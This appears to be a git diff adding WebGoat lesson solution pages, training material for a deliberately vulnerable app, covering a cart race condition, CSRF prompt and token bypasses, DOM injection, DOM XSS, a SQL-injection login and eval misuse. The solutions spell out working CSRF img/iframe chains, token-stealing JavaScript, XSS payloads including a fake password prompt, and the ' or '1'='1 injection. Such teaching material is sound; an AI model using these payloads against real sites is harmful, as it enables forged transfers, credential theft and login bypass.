diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image008.jpg
new file mode 100644
index 000000000..67162e723
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image009.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image009.jpg
new file mode 100644
index 000000000..916c6fdc1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image009.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart.html b/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart.html
new file mode 100644
index 000000000..2c19a9918
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart.html
@@ -0,0 +1,32 @@
+
+
+
+
+Shopping Cart Concurrency Flaw
+
+
+
+
Lesson Plan Title: Shopping Cart Concurrency Flaw
+
+
Concept / Topic To Teach:
+Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe. Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.
+
+
+
General Goal(s):
+For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price.
+
+
+Solution:
+1. Open a new browser window on the same page.
+2. In window A you choose a low cost item and click "Purchase".
+
+Window A
+3. In window B you choose the a high cost item you want to buy and click "update cart". The variable of the price has been overwritten now.
+
+Window B
+4. In window A you can click click "Confirm" and you bought your item for a lower price.
+
+Window A Success
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image001.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image001.jpg
new file mode 100644
index 000000000..408d75d35
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image001.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image002.jpg
new file mode 100644
index 000000000..455c17580
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image003.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image003.jpg
new file mode 100644
index 000000000..ef1515bd6
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ConcurrencyCart_files/image003.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass.html b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass.html
new file mode 100644
index 000000000..caeeedb03
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass.html
@@ -0,0 +1,110 @@
+
+
+
+
+Client Side Filtering
+
+
+
+
Lesson Plan Title:Prompt By-Pass with CSRF
+
+
Concept / Topic To Teach:
+This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing
+multiple requests to by-pass a scriptable user-prompt
+
+
+
General Goal(s):
+Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
+malicious requests: the first to transfer funds, and the second a request to confirm the prompt
+that the first request triggered. The URL should point to this lesson with an extra
+parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
+left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
+receives this email and happens to be authenticated at that time will have his funds transferred.
+When you think the attack is successful, refresh the page and you will find the green check on
+the left hand side menu
+Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.
+
+
+Solution:
+
+
Start by crafting an image or iframe tag similar to the CSRF LAB: <img
+src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
+width="1" height="1" />
+
+This image request will not result in a transfer of funds but will instead
+prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the
+Lesson with the extra parameter of "transferFunds=4000"
+
+
+User Prompt
+
+
+Next look at the source of the page to see what parameters the confirmation requires.
+The form in the confirmation prompt looks like the following:
+
+
+
+
+From this we see the next forged command will need the folllowing URL:
+attack?Screen=5&menu=900&transferFunds=CONFIRM
+This solution shows how to do this attack with both iframes and images. The next step is to
+add the additional forged confirmation request. However, an additional iframe or image with
+this URL will not be sufficient. The second request must load after the first. So add
+Javascript to load the second command after the first. For iframes, make the onload attribute
+of the first frame set the src of the second iframe:
+
+
+
+
+
+Next add the iframes into a message stored on the web page:
+
+Insert iframes hack picture
+
+The following shows the result of clicking on the malicious iframe message:
+
+Results of iframes hack picture
+In the above image, note that the first frame shows the user prompt, the result of the
+first forged request to transfer funds. In the second frame the results of the second
+forged request (the confirmation) are shown, indicating that 4000 dollars were successfully
+transfered. Refreshing the page will indicate that this lesson has been completed.
+
+
+In a real attack these results would be hidden from the end user. Click "restart this lesson"
+to attempt the attack again, only this time try hiding the attack with hidden or very small frames.
+
+
+For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror:
+
+
+<img
+src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
+onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'"
+width="1" height="1" />
+<img
+id="image2"
+width="1" height="1" />
+
+
+Next store the malicious images in a message and click the message to attempt the attack.
+
+Picture of adding malicious image requests
+Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit
+CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but
+not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png
new file mode 100644
index 000000000..3971e484f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png
new file mode 100644
index 000000000..48e299a23
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png
new file mode 100644
index 000000000..df21320e8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png
new file mode 100644
index 000000000..b44361734
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsComplete.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png
new file mode 100644
index 000000000..7f0518029
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsHack.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png
new file mode 100644
index 000000000..6257299d0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPage.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png
new file mode 100644
index 000000000..42f27f677
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass.html b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass.html
new file mode 100644
index 000000000..1b66f2d72
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass.html
@@ -0,0 +1,122 @@
+
+
+
+
+CSRF Token By-Pass
+
+
+
+
Lesson Plan Title:CSRF Token Prompt By-Pass
+
+
Concept / Topic To Teach:
+This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
+
+
+
+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
+loading a page that contains a 'forged request' to execute commands with the
+victim's credentials.
+
+
Token-based request authentication deters these attacks. This technique
+inserts tokens into pages that issue requests. These tokens are required to
+complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
+this technique to help prevent CSRF attacks.
+
+
However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
+Because of the same-origin browser policy, pages from the same domain can read content from
+other pages from the same domain.
+
+
General Goal(s):
+Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
+request to transfer funds. To successfully complete you need to obtain a valid request token. The
+URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter
+"transferFunds=main". Load this page, read the token and append the token in a forged request
+to transferFunds. When you think the attack is successful, refresh the page and you will find the
+green check on the left hand side menu.
+Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.
+
+
+Solution:
+
+
Similar to the CSRF LAB, you must forge a request that will transfer funds. However,
+a request will not result in a transfer of funds unless it has a correct token. To find
+a valid token, you could look at the form that the site generates to submit a transfer of funds.
+To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter
+of "transferFunds=main"
+
+
+Transfer initiation form
+
+
+Next look at the source of the page to see what parameter the token comes in.
+
+
+
+From this we see a forged command will need the CSRFToken parameter.
+
+
This solution loads this page in an iframe and reads the token out of the frame.
+Note that this is possible because the message originates from the same domain and
+does not violate the "same origin policy". So even thought this page has taken
+measures to prevent CSRF attacks, those measures can be side-stepped because of
+CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the
+frame, then the form, then saves the token
+
+
+var tokenvalue;
+
+function readFrame1()
+{
+ var frameDoc = document.getElementById("frame1").contentDocument;
+ var form = frameDoc.getElementsByTagName("form")[1];
+ var token = form.CSRFToken.value;
+ tokenvalue = '&CSRFToken='+token;
+
+ loadFrame2();
+}
+
+function loadFrame2()
+{
+ var testFrame = document.getElementById("frame2");
+ testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;
+}
+
+
+
readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2
+LoadFrame2 will then append the token and load a second frame.
+
+The following frames loads the transfer page in the first frame. When it finishes loading, it will
+call readFrame1, which calls loadFrame2, which then sets the src for the second iframe.
+
+
+
+
+
+
The next picture shows inserting this code into a message:
+
+Inserting CSRF code into message
+
+The following picture shows the results of someone hitting this page. Note that no effort was taken to
+hide the results of the two frames. The first frame shows the transfer funds form, and the second shows
+the results of the CSRF attack. Try another post that will hide these iframes from being noticed.
+
The next picture shows inserting this code into a message:
+
+Results of viewing the malicious message
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHack.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHack.png
new file mode 100644
index 000000000..8e2b1503e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHack.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png
new file mode 100644
index 000000000..e09a7fc57
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenHacked.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenPage.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenPage.png
new file mode 100644
index 000000000..5c6927667
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CsrfTokenByPass_files/tokenPage.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection.html
new file mode 100644
index 000000000..1e73150f0
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection.html
@@ -0,0 +1,865 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform DOM Injection Attack.
+
+
+
+
Concept /
+Topic To Teach:
+
+
How to
+perform DOM injection attacks.
+
+
+
+
How the
+attacks works:
+
+
Some applications
+specially the ones that uses AJAX manipulates and updates the DOM directly
+using JavaScript, DHTML and eval() method.
+An attacker may take advantage of that by intercepting the reply and try to
+inject some javascript commands to exploit his attacks.
+
+
+
+
General
+Goal(s):
+
+
*
+Your victim is a system that takes an activation key to allow you to use it.
+* Your goal should be to try to get to enable the activate button.
+* Take some time to see the HTML source in order to understand how the key
+validation process works.
+
+
+
+
+
+
Figure 1 AJAX Security - DOM Injection
+
+
+
+
Solution:
+
+
+
+
AJAX requires
+XML communication between the browser and the web application. When you view
+the source of the HTML page, you will notice the usage of XMLHttpRequest:
+
+
+
+
<script>
+
+
function
+validate() {
+
+
var keyField
+= document.getElementById('key');
+
+
var url =
+'attack?Screen=80&menu=1150&from=ajax&key=' +
+encodeURIComponent(keyField.value);
+
+
if (typeof
+XMLHttpRequest != 'undefined') {
+
+
req
+= new XMLHttpRequest();
+
+
} else if
+(window.ActiveXObject) {
+
+
req
+= new ActiveXObject('Microsoft.XMLHTTP');
+
+
}
+
+
req.open('GET', url, true);
+
+
req.onreadystatechange = callback;
+
+
req.send(null);
+
+
}
+
+
function
+callback() {
+
+
if (req.readyState == 4) {
+
+
if (req.status == 200) {
+
+
var message = req.responseText;
+
+
eval(message);
+
+
}}}
+
+
</script>
+
+
+
+
The XML
+response contains JavaScript that will activate the button so that you are able
+to click on it. This requires you to inject JavaScript to manipulate the
+Document Object Model of the HTML page in the browser. This requires
+intercepting the HTTP response in WebScarab!
+
+
+
+
Enter a
+license key (for example 'a') and intercept the HTTP Request and HTTP Response
+in WebScarab.
+
+
+
+
+
+
Figure 2 HTTP Request
+
+
+
+
+
+
Figure 3 HTTP Response
+
+
+
+
Intercept the
+reply and replace the body with document.form.SUBMIT.disabled = false;
+
+
+
+
+
+
Figure 4 Updated HTTP Response
+
+
+
+
The button “Activate!” is now enabled!
+
+
+
+
+
+
Figure 5 Activate! Button is enabled
+
+
+
+
+
+
Figure 6 Lesson completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/filelist.xml
new file mode 100644
index 000000000..44904329e
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/filelist.xml
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image001.png
new file mode 100644
index 000000000..8d3b529b0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image002.jpg
new file mode 100644
index 000000000..3f3bccdf5
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image003.png
new file mode 100644
index 000000000..9effd17b9
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image004.jpg
new file mode 100644
index 000000000..016c16e12
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image005.png
new file mode 100644
index 000000000..844b00d92
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image006.jpg
new file mode 100644
index 000000000..c3349b050
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image007.png
new file mode 100644
index 000000000..d0b0aec8e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image008.jpg
new file mode 100644
index 000000000..18a4764fe
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image008fix.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image008fix.jpg
new file mode 100644
index 000000000..1112e63f7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image008fix.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image009.png
new file mode 100644
index 000000000..d1021bceb
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image010.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image010.jpg
new file mode 100644
index 000000000..e9bc078c3
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image010.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image011.png
new file mode 100644
index 000000000..efe585a32
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image012.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image012.jpg
new file mode 100644
index 000000000..dd8bf4ac4
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/image012.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS.html b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS.html
new file mode 100644
index 000000000..2cfa4d90d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS.html
@@ -0,0 +1,51 @@
+
+
+
+
+DOM Based Cross Site Scripting (XSS)
+
+
+
+
Lesson Plan Title: DOM Based Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+The Document Object Model (DOM) presents an interesting problem from a security standpoint. It allows the content of a web page to be dynamically modified, but that can be abused by attackers during a malicious code injection. XSS, a type of malicious code injection, can occur when unvalidated user input is used directly to modify the content of a page on the client side.
+
+
+
General Goal(s):
+For this exercise, your mission is to use this vulnerability to inject malicious code into the DOM. Then in the last stage, you will correct the flaws in the code to address the vulnerability.
+
+
+Solution:
+Stage 1: Enter "<IMG SRC="images/logos/owasp.jpg"/>" and submit the solution.
+
+Stage 1 result
+Stage 2: Enter "<img src=x onerror=;;alert('XSS') />" and submit the solution.
+
+Stage 2 result
+Stage 3: Enter "<IFRAME SRC="javascript:alert('XSS');"></IFRAME>" and submit the solution.
+
+Stage 3 result
+Stage 4: Enter "Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR> <BR><BR><BR><BR><BR><BR><BR><BR>" and submit the solution.
+
+Stage 4 result
+Stage 5: You have to use the JavaScript escape.js for the input.
+You will find the JavaScripts in tomcat\webapps\WebGoat\javascript ( Standart Version ) or in WebContent\javascript ( Developer Version ).
+Open the JavaScript DOMXSS.js
+function displayGreeting(name) {
+ if (name != ''){
+ document.getElementById("greeting").innerHTML="Hello, " + name + "!";
+ }
+}
+
+You have to change this to:
+function displayGreeting(name) {
+ if (name != ''){
+ document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name); + "!";
+ }
+}
+
+The attacks will no longer work.
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/Thumbs.db b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/Thumbs.db
new file mode 100644
index 000000000..550da4fb2
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/Thumbs.db differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image001.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image001.jpg
new file mode 100644
index 000000000..c62bcbd94
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image001.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image002.jpg
new file mode 100644
index 000000000..77ce23c41
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image003.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image003.jpg
new file mode 100644
index 000000000..ce288a551
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image003.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image004.jpg
new file mode 100644
index 000000000..6ae8cdfda
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOMXSS_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login.html b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login.html
new file mode 100644
index 000000000..575a3916f
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login.html
@@ -0,0 +1,704 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: Denial of
+Service from Multiple Logins
+
+
+
+
Concept /
+Topic To Teach:
+
+
Denial of
+service attacks are a major issue in web applications. If the end user cannot conduct
+business or perform the service offered by the web application, then both time
+and money is wasted.
+
+
+
+
General
+Goal(s):
+
+
This site
+allows a user to login multiple times. This site has a database connection pool
+that allows 2 connections. You must obtain a list of valid users and create a
+total of 3 logins.
+
+
Solution:
+
+
+
+
This site
+allows a user to login multiple times. There is a database connection pool that
+allows 2 connections. You must obtain a list of valid users and create a total
+of 3 logins.
+
+
+
+
Let's try a
+SQL Injection attack. Enter in the password field ' or '1' = '1
+
+
+
+
+
+
Figure 1 Lesson 20
+
+
+
+
Login with
+user name jsnow and password passwd1. Then login with user name jdoe and
+password passwd1. And finally login with jplane and passwd3.
+
+
+
+
+
+
Figure 2 Lesson 20 Completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/filelist.xml
new file mode 100644
index 000000000..065d671e4
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/filelist.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image001.png
new file mode 100644
index 000000000..dc2669fe2
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image002.jpg
new file mode 100644
index 000000000..6f5c75387
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image003.png
new file mode 100644
index 000000000..45396104d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image004.jpg
new file mode 100644
index 000000000..372cdca56
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/DOS_Login_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/DangerousEval.html b/webgoat-5.4/src/main/webapp/lesson_solutions/DangerousEval.html
new file mode 100644
index 000000000..a2f353c50
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/DangerousEval.html
@@ -0,0 +1,28 @@
+
+
+
+
+Dangerous Use of Eval
+
+
+
+
Lesson Plan Title: Dangerous Use of Eval)
+
+
Concept / Topic To Teach:
+It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is reflected directly into an HTTP response. In this lesson, unvalidated user-supplied data is used in conjunction with a Javascript eval() call. In a reflected XSS attack, an attacker can craft a URL with the attack script and store it on another website, email it, or otherwise trick a victim into clicking on it.
+
+
+
General Goal(s):
+For this exercise, your mission is to come up with some input which, when run through eval, will execute a malicious script. In order to pass this lesson, you must 'alert()' document.cookie.
+
+
+Solution:
